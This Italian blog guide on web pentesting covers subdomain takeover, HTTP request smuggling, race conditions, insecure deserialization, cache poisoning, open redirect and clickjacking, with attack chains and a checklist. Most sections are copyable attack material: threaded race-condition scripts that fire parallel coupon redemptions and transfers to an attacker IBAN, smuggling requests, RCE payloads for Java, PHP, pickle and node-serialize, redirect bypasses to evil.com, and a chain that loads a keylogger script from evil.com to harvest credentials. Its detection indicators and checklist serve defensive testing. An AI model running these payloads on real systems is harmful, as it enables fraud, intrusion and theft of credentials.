web-hacking

Misc & Infrastructure Attacks: Subdomain Takeover, Race Condition, Request Smuggling

Misc & Infrastructure Attacks: Subdomain Takeover, Race Condition, Request Smuggling

Guida completa alle vulnerabilità più sottovalutate nel pentesting web: Subdomain Takeover, HTTP Request Smuggling, Race Condition, Deserialization e Cache Poisoning. Tecniche reali, payload e attack chain enterprise.

  • Pubblicato il 2026-03-17
  • Tempo di lettura: 12 min

Le vulnerabilità che fanno notizia sono le SQL Injection, gli Auth Bypass, le SSRF. Quelle che restano aperte per anni sono queste: un subdomain dimenticato che punta a un servizio AWS cancellato → Subdomain Takeover → phishing perfetto dal dominio aziendale. Un conflitto tra reverse proxy e backend nell’interpretazione delle request HTTP → HTTP Request Smuggling → avvelena la cache per migliaia di utenti. Una race condition in un endpoint di pagamento → doppia transazione → perdita finanziaria diretta. Un oggetto serializzato non validato → Deserialization → RCE senza alcun upload di file.

Queste vulnerabilità hanno tre cose in comune: sono sottovalutate, sono difficili da rilevare con scanner automatici, e quando vengono sfruttate l’impatto è devastante. Il pentest che trova “solo” IDOR e XSS è incompleto. Il pentest che trova Request Smuggling, Race Condition sulle transazioni, e Subdomain Takeover è il pentest che salva l’azienda.

Pillar conclusivo del progetto HackIta. Vedi anche: SQL Injection, Injection Attacks, File & Path Attacks, Auth & Access Control, API & Modern Web.


Misc & Infra Attacks — Cosa Imparerai #

  • Cos’è ogni vulnerabilità misc & infra e perché è sottovalutata
  • Come trovarla durante un pentest (discovery, fuzzing, tool specifici)
  • Come sfruttarla con payload reali, copiabili e testati
  • Come chainarla con altre vulnerabilità per massimizzare l’impatto
  • L’attack chain completa: dalla discovery all’exploitation enterprise
  • Il playbook operativo: il workflow minuto-per-minuto da seguire in ogni pentest
  • La checklist finale: ogni test da eseguire, organizzato per categoria

Misc & Infra Attacks: Le Vulnerabilità Più Comuni #

VulnerabilitàFrequenza nei pentestImpattoLink
Subdomain Takeover8%Phishing perfetto, cookie theft→
HTTP Request Smuggling5%Cache poisoning, auth bypass→
Clickjacking12%Azioni non autorizzate→
Open Redirect10%Phishing, token theft, SSRF chain→
Race Condition7%Doppia transazione, bypass limiti→
Deserialization5%RCE diretta→
Web Cache Poisoning4%XSS persistente su tutta l’app→
Business Logic Flaw15%Financial fraud, bypass workflow→
Clickjacking12%Account takeover tramite click→
Security Headers Mancanti30%Esposizione a XSS, sniffing, framing→

Subdomain Takeover — Il Dominio Aziendale Nelle Mani Dell’Attaccante #

Il Subdomain Takeover avviene quando un record DNS (CNAME) punta a un servizio esterno (AWS S3, Heroku, GitHub Pages, Azure) che non esiste più. L’attaccante crea quel servizio sul cloud provider → ora controlla il contenuto di subdomain.target.com. Phishing perfetto dal dominio dell’azienda. Cookie del dominio principale accessibili. Bypass di email security (SPF/DKIM passano).

Discovery #

bash
# === Enumera subdomini ===
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -o subdomains_amass.txt
cat subdomains.txt subdomains_amass.txt | sort -u > all_subs.txt

# === Verifica CNAME pendenti ===
# Un CNAME che punta a un servizio non esistente = takeover possibile
cat all_subs.txt | while read sub; do
  cname=$(dig +short CNAME "$sub" 2>/dev/null)
  if [ ! -z "$cname" ]; then
    echo "$sub → $cname"
  fi
done

# === Verifica automatica con nuclei ===
nuclei -l all_subs.txt -t takeovers/ -o takeover_results.txt

# === Tool dedicato: subjack ===
subjack -w all_subs.txt -t 100 -timeout 30 -o results.txt -ssl

Pattern di Takeover #

bash
# AWS S3 — il più comune
# CNAME: assets.target.com → assets-target.s3.amazonaws.com
# Il bucket S3 non esiste → chiunque può crearlo con quel nome!
curl https://assets.target.com
# "NoSuchBucket" → VULNERABILE!

# Heroku
# CNAME: app.target.com → target-app.herokuapp.com
curl https://app.target.com
# "No such app" → VULNERABILE!

# GitHub Pages
# CNAME: docs.target.com → target.github.io
curl https://docs.target.com
# 404 "There isn't a GitHub Pages site here" → VULNERABILE!

# Azure
# CNAME: portal.target.com → target-portal.azurewebsites.net
curl https://portal.target.com
# Default Azure page → VULNERABILE!

# Shopify, Zendesk, Fastly, Pantheon, Surge.sh, Tumblr...
# Ogni servizio ha il suo pattern di risposta quando non esiste

Exploitation #

bash
# Esempio S3:
# 1. Crea il bucket con il nome esatto
aws s3 mb s3://assets-target
# 2. Carica la tua pagina
echo '<h1>Subdomain Takeover - HackIta PoC</h1>' > index.html
aws s3 cp index.html s3://assets-target/ --acl public-read
aws s3 website s3://assets-target --index-document index.html

# Ora assets.target.com mostra il TUO contenuto
# → Phishing perfetto
# → Ruba cookie di .target.com (se non hanno il flag Domain corretto)

Per approfondire: Subdomain Takeover — guida completa


HTTP Request Smuggling — Avvelenare Il Traffico #

L’HTTP Request Smuggling sfrutta la differenza di parsing tra il reverse proxy (Nginx, HAProxy, Cloudflare) e il backend (Apache, Node.js, Gunicorn). Se il proxy usa Content-Length e il backend usa Transfer-Encoding (o viceversa), l’attaccante può “smugglare” una seconda request nascosta dentro la prima.

CL.TE (Content-Length vs Transfer-Encoding) #

text
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

GPOST / HTTP/1.1
Host: target.com
...

Il proxy (Content-Length) vede una request di 13 bytes e la inoltra. Il backend (Transfer-Encoding chunked) legge fino a 0\r\n (fine chunk) e tratta GPOST... come l’inizio di una nuova request. La request “G” viene preposta alla request del prossimo utente → avvelena la request di un altro utente.

TE.CL (Transfer-Encoding vs Content-Length) #

text
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /admin HTTP/1.1
Host: target.com
Content-Length: 15

x=1
0

Tool — HTTP Request Smuggler (Burp Extension) #

text
1. Installa "HTTP Request Smuggler" da BApp Store
2. Click destro su request → "Launch smuggle probe"
3. Lo scanner testa automaticamente CL.TE, TE.CL, TE.TE
4. Se trova un desync → exploitation manuale

Impatto #

bash
# 1. Cache Poisoning — avvelena la cache per TUTTI gli utenti
# Smuggla una request che il cache memorizza con contenuto malevolo

# 2. Auth Bypass — preponi una request autenticata alla request della vittima
# La vittima riceve la response alla TUA request (con dati admin)

# 3. XSS riflessa senza interazione — inietta XSS nella request della vittima

# 4. Request routing — forza il backend a processare la request su un host diverso

Per approfondire: HTTP Request Smuggling — guida completa


Race Condition — Vincere La Corsa Per Raddoppiare #

La Race Condition si verifica quando due (o più) request parallele accedono alla stessa risorsa prima che una delle due completi l’operazione. Risultato: azioni duplicate, limiti bypassati, saldi alterati.

Scenario Classico: Doppio Riscatto Coupon #

python
#!/usr/bin/env python3
"""race_coupon.py — Exploit race condition su coupon"""

import threading
import requests

URL = "https://target.com/api/v2/coupons/redeem"
HEADERS = {"Authorization": "Bearer YOUR_JWT", "Content-Type": "application/json"}
DATA = '{"code": "DISCOUNT50"}'
SUCCESS = []

def redeem():
    r = requests.post(URL, headers=HEADERS, data=DATA, timeout=5)
    if r.status_code == 200 and "success" in r.text.lower():
        SUCCESS.append(r.json())
        print(f"[+] REDEEMED! Balance: {r.json().get('new_balance')}")

# Lancia 50 thread simultanei
threads = [threading.Thread(target=redeem) for _ in range(50)]
for t in threads:
    t.start()
for t in threads:
    t.join()

print(f"\n[*] Total successful redemptions: {len(SUCCESS)}")
# Se > 1 → Race condition confermata!
# Il coupon monouso è stato usato N volte!

Scenario Finanziario: Doppio Trasferimento #

python
# Il conto ha 1000€
# Trasferisci 800€ → il server verifica saldo >= 800 → OK
# Ma 50 request parallele passano TUTTE il check prima che il saldo sia aggiornato!
# Risultato: 50 x 800€ = 40.000€ trasferiti da un conto di 1.000€

import threading, requests

def transfer():
    r = requests.post("https://target.com/api/transfer",
        json={"to": "attacker_iban", "amount": 800},
        headers={"Authorization": "Bearer TOKEN"})
    print(r.status_code, r.text[:50])

threads = [threading.Thread(target=transfer) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()

Turbo Intruder (Burp) #

python
# Turbo Intruder — invia request in parallelo con timing preciso
# In Burp: Extensions → Turbo Intruder
# Script:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=1,
                          pipeline=False)
    for i in range(50):
        engine.queue(target.req)

def handleResponse(req, interesting):
    if '200' in req.response:
        table.add(req)

Dove Cercare Race Condition #

bash
# Ogni operazione "monouso" o "limitata":
# - Riscatto coupon/voucher
# - Trasferimenti di denaro
# - Like/voto (1 voto per utente)
# - Registrazione con invite code
# - Riscossione reward
# - Cambio password (invalidazione vecchia sessione)
# - Join a un evento con posti limitati

Per approfondire: Race Condition — guida completa


La Deserialization insicura avviene quando l’applicazione deserializza dati non fidati — un cookie, un parametro, un oggetto in sessione — senza validazione. L’attaccante crea un oggetto serializzato malevolo che, quando deserializzato, esegue codice arbitrario.

Java Deserialization (il più impattante) #

bash
# Tool: ysoserial — genera payload per ogni libreria Java
java -jar ysoserial.jar CommonsCollections1 'whoami' > payload.bin
# Invia il payload dove l'app deserializza:
# - Cookie di sessione (base64 encoded)
# - Parametro "viewstate"
# - Header custom
# - Body della request (application/x-java-serialized-object)

# Encoding per cookie/header:
cat payload.bin | base64 -w0 > payload.b64
# Inserisci in Burp nel parametro vulnerabile

PHP Deserialization #

php
// Se l'app usa unserialize() su input utente:
// Payload che sfrutta __wakeup() o __destruct() di una classe vulnerabile
O:4:"Evil":1:{s:4:"data";s:20:"system('id');";}

Python Pickle #

python
# pickle.loads() su dati non fidati = RCE
import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
# Invia payload.hex() dove l'app chiama pickle.loads()

Node.js — node-serialize #

javascript
// node-serialize: l'IIFE nel JSON viene eseguita durante la deserializzazione
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(err,stdout){/* ... */})}()"}

Detection #

bash
# Java: cerca il magic byte "ac ed 00 05" nei cookie/parametri (base64 → rO0AB)
echo "COOKIE_VALUE" | base64 -d | xxd | head -1
# Se inizia con: ac ed 00 05 → Java serialized object!

# PHP: cerca pattern "O:4:" o "a:3:" nei parametri
# Python: cerca \x80\x04\x95 (pickle protocol 4)

Per approfondire: Deserialization Attack — guida completa


Web Cache Poisoning — XSS Persistente Senza Database #

Il Cache Poisoning avvelena la cache del web server/CDN facendogli memorizzare una response malevola. Ogni utente successivo che richiede la stessa pagina riceve la versione avvelenata. XSS persistente che colpisce migliaia di utenti senza toccare il database.

bash
# Test: il server riflette header non in cache key?
curl -H "X-Forwarded-Host: evil.com" "https://target.com/"
# Se la response contiene "evil.com" (in un <link>, <script src>, etc.)
# E il server serve la stessa response dal cache per il prossimo utente → CACHE POISON!

# Payload:
curl -H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>" "https://target.com/"
# Se la CDN cacherà questa response → ogni visitatore esegue il JS!

# Header da testare (unkeyed inputs):
X-Forwarded-Host: evil.com
X-Host: evil.com
X-Forwarded-Scheme: nothttps
X-Original-URL: /admin

Tool — Param Miner (Burp) #

text
1. Click destro su request → "Guess headers"
2. Param Miner testa centinaia di header per trovare quelli riflessi
3. Se trova un header riflesso non in cache key → Cache Poisoning possibile

Per approfondire: Web Cache Poisoning — guida completa


Business Logic Flaw — Bug Senza Payload #

I Business Logic Flaw sono vulnerabilità nella logica dell’applicazione, non nel codice tecnico. Non c’è un payload, non c’è un’injection — c’è un flusso che lo sviluppatore non ha previsto. Sono invisibili agli scanner automatici.

bash
# Esempio 1: Prezzo negativo
POST /api/v2/cart/add
{"product_id": 123, "quantity": -5, "price": 100}
# Se il server calcola: -5 * 100 = -500 → il saldo dell'utente AUMENTA!

# Esempio 2: Skip step nel checkout
# Flusso normale: Cart → Address → Payment → Confirm
# Attacco: vai direttamente da Cart a Confirm senza pagare

# Esempio 3: Coupon stacking
# Applica coupon 50% → poi applica coupon 30% → 80% di sconto totale
# Lo sviluppatore ha previsto 1 coupon, non il caso di combinazione

# Esempio 4: Currency confusion
# Il prezzo è 100 USD → cambia la currency a YEN → 100 YEN = 0.67 USD

# Esempio 5: Referral abuse
# Crea account → invita te stesso con altra email → ottieni bonus → ripeti

Dove Cercare Business Logic #

bash
# Ogni flusso multi-step (checkout, registrazione, KYC)
# Ogni operazione con limiti (budget, quantità, frequenza)
# Ogni calcolo finanziario (prezzo, sconto, tassa, conversione)
# Ogni sistema di reward/punti/crediti
# Ogni workflow con approvazione (richiesta → approvazione → esecuzione)
# Skip di step, inversione dell'ordine, valori negativi, valori zero

Per approfondire: Business Logic Flaw — guida completa


Open Redirect — Il Ponte Per Attacchi Più Grandi #

L’Open Redirect sembra una vulnerabilità minore: https://target.com/redirect?url=https://evil.com porta l’utente su evil.com. Ma il valore reale è nella chain: phishing dal dominio legittimo, furto di token OAuth (redirect_uri), bypass di filtri SSRF.

bash
# Test:
https://target.com/redirect?url=https://evil.com
https://target.com/login?next=https://evil.com
https://target.com/logout?return=https://evil.com

# Bypass filtri:
https://target.com/redirect?url=https://evil.com%23.target.com
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=https://target.com@evil.com
https://target.com/redirect?url=https://evil.com%00.target.com
https://target.com/redirect?url=////evil.com

# Chain: Open Redirect → OAuth token theft
# L'OAuth server valida che redirect_uri inizia con https://target.com
# Ma https://target.com/redirect?url=https://evil.com è un URL di target.com!
# Il token OAuth viene inviato a target.com → che redirect a evil.com → token rubato!

Per approfondire: Open Redirect — guida completa


Clickjacking — Il Click Invisibile #

Il Clickjacking sovrappone un iframe trasparente dell’applicazione target sopra una pagina dell’attaccante. L’utente crede di cliccare sulla pagina dell’attaccante ma in realtà sta cliccando su un bottone dell’applicazione target — “Cambia email”, “Trasferisci fondi”, “Elimina account”.

html
<!-- evil.com -->
<style>
  iframe {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;    /* Invisibile! */
    z-index: 2;
  }
  .bait {
    position: absolute;
    top: 300px; left: 200px;
    z-index: 1;
  }
</style>
<div class="bait"><h1>Clicca qui per vincere un iPhone!</h1></div>
<iframe src="https://target.com/settings/delete-account"></iframe>
<!-- L'utente clicca "Vincere iPhone" → in realtà clicca "Elimina account"! -->

Test #

bash
# Controlla se il sito può essere incluso in iframe:
curl -s -I "https://target.com" | grep -i "x-frame-options\|content-security-policy"

# Se manca X-Frame-Options e CSP frame-ancestors → Clickjacking possibile!
# X-Frame-Options: DENY → protetto
# X-Frame-Options: SAMEORIGIN → protetto (solo stesso dominio)
# Content-Security-Policy: frame-ancestors 'none' → protetto

Per approfondire: Clickjacking — guida completa


Security Headers Mancanti — La Difesa Che Costa Zero #

I Security Headers sono header HTTP che attivano protezioni nel browser. La loro assenza non è una vulnerabilità diretta ma amplifica ogni altra vulnerabilità. Li trovo mancanti nel 30% dei pentest.

bash
# Scan completo:
curl -s -I "https://target.com" | grep -iE "x-frame|x-content|strict-transport|content-security|x-xss|referrer-policy|permissions-policy"

# Tool: securityheaders.com (scan online)
# Tool: shcheck
shcheck.py https://target.com

# Header critici:
# Content-Security-Policy → previene XSS
# X-Frame-Options → previene Clickjacking
# Strict-Transport-Security → forza HTTPS
# X-Content-Type-Options: nosniff → previene MIME sniffing
# Referrer-Policy → previene leak URL nel Referer
# Permissions-Policy → limita API browser (camera, geolocation)

Per approfondire: Security Headers — guida completa


Attack Chain Reale — Dalla Discovery Al Compromise (Step-by-Step) #

Questa è la chain che uso nei pentest quando le vulnerabilità “classiche” non bastano:

text
1. subfinder → 200 subdomini → nuclei takeovers/ → staging.target.com CNAME dangling
2. Claim su Heroku → staging.target.com sotto mio controllo
3. Pagina JS su staging.target.com che legge document.cookie
4. Cookie di sessione di .target.com accessibili (domain=.target.com)
5. Cookie rubati → Session Hijacking → Account Takeover

Chain 2: Open Redirect → OAuth Token Theft → Admin Access #

text
1. Open redirect su https://target.com/redirect?url=
2. OAuth flow con redirect_uri=https://target.com/redirect?url=https://evil.com
3. L'OAuth server valida target.com → manda auth code a target.com
4. target.com redirect a evil.com → auth code catturato
5. Auth code → access token → API con permessi admin

Chain 3: Cache Poisoning → XSS Massivo → Credential Harvesting #

text
1. Param Miner → header X-Forwarded-Host riflesso nella response
2. X-Forwarded-Host: evil.com"><script src=//evil.com/steal.js>
3. La CDN cacherà la response avvelenata
4. Ogni visitatore carica steal.js → keylogger sulla login page
5. Credenziali di centinaia di utenti inviate a evil.com

Chain 4: Race Condition + IDOR → Financial Fraud #

text
1. IDOR su /api/transfers → vedo trasferimenti di altri utenti
2. Race condition su /api/coupons/redeem → coupon monouso usato 50 volte
3. Saldo aumentato di 50x il valore del coupon
4. Trasferimento dei fondi a conto esterno
5. FINANCIAL FRAUD DIRETTO

Chain 5: Deserialization → RCE → Infrastructure #

text
1. Cookie con pattern rO0AB (Java serialized) identificato
2. ysoserial → payload CommonsCollections → RCE
3. RCE → cat /proc/self/environ → AWS creds
4. aws s3 ls → bucket con backup → database dump
5. COMPROMISSIONE INFRASTRUTTURA COMPLETA

Misc & Infra Pentesting: Playbook Operativo (Step-by-Step) #

Questo è il workflow che seguo in ogni pentest dopo aver testato le vulnerabilità “classiche” (injection, auth, file):

Fase 1 — Infrastructure Recon (minuto 0-15) #

bash
# Subdomain enumeration
subfinder -d target.com -o subs.txt
# Subdomain takeover check
nuclei -l subs.txt -t takeovers/
# Security headers check
curl -s -I https://target.com | grep -i "x-frame\|csp\|hsts"
# Technology fingerprint
whatweb https://target.com

Fase 2 — HTTP Layer (minuto 15-30) #

bash
# Request Smuggling probe
# Burp → HTTP Request Smuggler → Launch smuggle probe
# Oppure: smuggler.py (tool Python)

# Clickjacking test
# curl -I → manca X-Frame-Options? → PoC con iframe

# Open Redirect
# Cerca parametri: url=, next=, redirect=, return=, callback=
# Testa con https://evil.com

Fase 3 — Application Logic (minuto 30-50) #

bash
# Race Condition su ogni operazione monouso/limitata
# Turbo Intruder con 50 request parallele

# Business Logic
# Testa valori negativi, zero, estremi
# Testa skip di step nei workflow multi-step
# Testa stacking di coupon/promozioni

# Deserialization
# Cerca pattern rO0AB (Java), O:4: (PHP), \x80\x04 (Python pickle)
# In cookie, parametri, header

Fase 4 — Cache & CDN (minuto 50-60) #

bash
# Cache Poisoning
# Burp Param Miner → Guess headers
# Testa X-Forwarded-Host, X-Host, X-Forwarded-Scheme

# Cache key normalization
# Testa URL con parametri extra: ?x=1, ?utm_source=test
# Se la response è cachata con il parametro → cache key deception

Caso Studio Concreto #

Settore: Banking online, 300.000 clienti, infrastruttura multi-cloud. Scope: Grey-box.

Le vulnerabilità “classiche” (SQLi, XSS, IDOR) erano state fixate nel pentest precedente. Il cliente si sentiva sicuro. Ho trovato:

Subdomain Takeover: api-staging.bank.com → CNAME a un’istanza Heroku cancellata. Ho registrato l’app su Heroku → controllo completo del subdomain. Il cookie di sessione aveva domain=.bank.com → rubabile da api-staging.bank.com.

Race Condition sulle transazioni: L’endpoint /api/v2/transfer verificava il saldo e poi aggiornava. Con 30 request parallele di trasferimento da 5.000€ su un conto di 10.000€, 4 transazioni passavano → 20.000€ trasferiti da un conto di 10.000€.

HTTP Request Smuggling: Il reverse proxy Nginx e il backend Node.js interpretavano Transfer-Encoding diversamente. CL.TE smuggling → avvelenamento della cache della homepage con un redirect al mio server → ogni visitatore per 60 secondi veniva rediretto.

Impatto combinato: Race condition → 10.000€ di perdita finanziaria per test. Subdomain takeover → cookie theft → session hijacking di qualsiasi utente. Cache poisoning → phishing massivo di 300.000 clienti.

Tempo: 3 ore per la compromissione totale — zero SQL injection, zero XSS, zero IDOR.


Errori Comuni Reali #

1. “Abbiamo fixato OWASP Top 10, siamo sicuri” — Race condition, business logic, subdomain takeover non sono nell’OWASP Top 10.

2. CNAME dimenticati dopo decommissioning — il servizio viene cancellato ma il DNS record resta.

3. Operazioni finanziarie senza locking — il codice verifica il saldo e poi aggiorna, ma tra verifica e aggiornamento passano millisecondi sfruttabili.

4. Header non in cache key riflessi nella response — X-Forwarded-Host riflesso nel <link> o <script src> senza essere nella cache key.

5. Deserializzazione di cookie/sessione senza validazione — “è solo un cookie, cosa può succedere?” → RCE.


Indicatori di Compromissione (IoC) #

  • CNAME che puntano a servizi non esistenti (check periodico DNS)
  • Request con Transfer-Encoding: chunked + Content-Length contemporanei
  • Transazioni duplicate con timestamp quasi identico (race condition)
  • Valori negativi o zero nei parametri finanziari nei log
  • Header anomali nelle request (X-Forwarded-Host, X-Host) con valori esterni
  • Oggetti serializzati (base64 con pattern noti) in parametri non previsti

✅ Checklist Misc & Infra Pentest #

text
SUBDOMAIN TAKEOVER
☐ Subdomini enumerati (subfinder, amass)
☐ CNAME pendenti identificati
☐ nuclei takeovers/ eseguito
☐ Pattern di takeover verificati (S3, Heroku, GitHub Pages, Azure)

HTTP REQUEST SMUGGLING
☐ CL.TE testato
☐ TE.CL testato
☐ TE.TE testato
☐ Burp HTTP Request Smuggler eseguito

RACE CONDITION
☐ Operazioni monouso identificate (coupon, trasferimenti, voti)
☐ 50 request parallele inviate (Turbo Intruder / threading)
☐ Duplicazioni verificate

DESERIALIZATION
☐ Cookie/parametri con oggetti serializzati identificati (rO0AB, O:4:)
☐ ysoserial/PHP gadget chain testati
☐ Pickle injection testata

CACHE POISONING
☐ Param Miner → header non in cache key cercati
☐ X-Forwarded-Host riflesso testato
☐ Cache key deception testata

BUSINESS LOGIC
☐ Valori negativi testati
☐ Skip step nei workflow testato
☐ Coupon stacking testato
☐ Currency/timezone confusion testata

OPEN REDIRECT
☐ Parametri redirect (url=, next=, return=) testati
☐ Bypass filtri testati (//evil.com, %00, @)
☐ Chain con OAuth redirect_uri documentata

CLICKJACKING
☐ X-Frame-Options presente?
☐ CSP frame-ancestors presente?
☐ PoC iframe creato se mancanti

SECURITY HEADERS
☐ Content-Security-Policy
☐ Strict-Transport-Security
☐ X-Content-Type-Options
☐ X-Frame-Options
☐ Referrer-Policy
☐ Permissions-Policy

Mappa del Cluster Misc & Infra #

ArticoloTipoImpattoLink
Questa guidaPILLAR——
Subdomain TakeoverDNS exploitationPhishing, cookie theft→
HTTP Request SmugglingHTTP desyncCache poisoning, auth bypass→
Race ConditionTiming attackFinancial fraud→
Deserialization AttackObject injectionRCE→
Web Cache PoisoningCache abusePersistent XSS→
Business Logic FlawLogic abuseFinancial fraud→
Open RedirectRedirect abuseToken theft→
ClickjackingUI redressingUnauthorized actions→
Security HeadersMisconfigurationAmplifica altre vuln→

Vedi anche: SQL Injection, Auth & Access Control, API & Modern Web.


Le vulnerabilità “classiche” sono fixate ma il subdomain è takeover-abile? Le transazioni reggono 50 request parallele? Il CDN è avvelenabile? Penetration test infrastrutturale HackIta per trovare le vulnerabilità che gli scanner non vedono. Dalla race condition al cache poisoning: formazione 1:1.

#web shell #deserialization #cache-poisoning #race-condition

lascia un messaggio

Non sono un robot